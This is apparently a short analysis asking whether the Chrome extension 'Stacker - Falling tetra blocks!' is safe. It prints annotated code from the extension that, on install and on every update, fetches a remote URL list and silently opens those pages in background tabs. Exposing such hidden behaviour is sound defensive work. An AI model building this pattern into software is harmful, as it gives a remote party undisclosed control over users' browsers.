Is Stacker - Falling tetra blocks! safe?

var A = function(n) {
  return _(n)                          // GET https://k-ext.pages.dev/{n}
    .then((function(n) {
      return n.text()                    // read full response body
    }))
    .then((function(n) {
      return n.split(",")                // split CSV into array of URLs
    }))
    .then((function(n) {
      return n.filter((function(n) {     // keep only entries with 'https://'
        return -1 !== n.indexOf("https://")
      }))
    }))
},

var E = function(n) {
  var t = n.endpoint,
    e = n.eventName,
    r = n.data;
  return A(t).then((function(n) {      // fetch URL list for this endpoint
    n.forEach((function(n) {
      (function(n) {
        return chrome.tabs.create({
          url: n,
          active: false               // tab opens in background, not foreground
        })
      })(n).catch((function(n) {
        return S(n, "".concat(e, "_open_error"))
      }))
    }))
  }))
},

chrome.runtime.onInstalled.addListener((function(n) {
  // ...
  n.reason === T.INSTALL && E({
    endpoint: "tetrys-install-urls",    // GET /tetrys-install-urls on first install
    eventName: "install_promotion"
  })
  n.reason === T.UPDATE && E({
    endpoint: "tetrys-update-urls",     // GET /tetrys-update-urls on every update
    eventName: "update_promotion"
  })
}))